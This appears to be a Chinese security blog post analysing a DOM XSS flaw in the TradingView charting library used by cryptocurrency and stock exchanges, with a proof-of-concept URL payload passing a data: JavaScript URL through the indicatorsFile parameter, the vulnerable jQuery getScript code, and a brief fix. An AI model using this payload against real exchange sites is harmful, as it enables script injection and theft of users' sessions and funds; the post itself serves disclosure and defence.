首页 » NetworkSec » Penetration » 正文

TradingView xss 0day 漏洞重现及分析

0x00 概述

近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。

 

0x01 漏洞重现

Payload:

#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert('xxx')//

 

https://www.xxx.com/assets/chart/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert('xxx')//

 

0x02 修复方案

修改charting_library/static/bundles/library.xxxxxxxxxx.js文件,使

getScript(“”)

 

0x03 漏洞分析

从payload的三个参数分析

漏洞文件:
charting_library/static/bundles/library.xxxxxxxxxx.js

函数:

getScript(urlParams.indicatorsFile)

 

D?$.getScript(urlParams.indicatorsFile).done(function(){

此函数关键代码:

jQuery.ajaxTransport( "script", function( s ) {
 
  // This transport only deals with cross domain requests
  if ( s.crossDomain ) {
    var script, callback;
    return {
      send: function( _, complete ) {
        script = jQuery( "<script>" ).prop( {
          charset: s.scriptCharset,
          src: s.url
        } ).on(
          "load error",
          callback = function( evt ) {
            script.remove();
            callback = null;
            if ( evt ) {
              complete( evt.type === "error" ? 404 : 200, evt.type );
            }
          }
        );
 
        // Use native DOM manipulation to avoid our domManip AJAX trickery
        document.head.appendChild( script[ 0 ] );
      },
      abort: function() {
        if ( callback ) {
          callback();
        }
      }
    };
  }
} );

动态创建<script>,远程加载url。

另外两个参数:

function e()
{
JSON.parse(urlParams.disabledFeatures).forEach(function(e){t.setEnabled(e,!1)}),
JSON.parse(urlParams.enabledFeatures).forEach(function(e){t.setEnabled(e,!0)})
}

要求为json即可。

 

0x04 结语

DOM XSS,可过服务端/客户端防御。

测试了几个都存在,可见影响范围非常广。

 

0x05 参考资料

https://mp.weixin.qq.com/s/yfbKf_5Nk2NXFl2-xlFqKg

Comment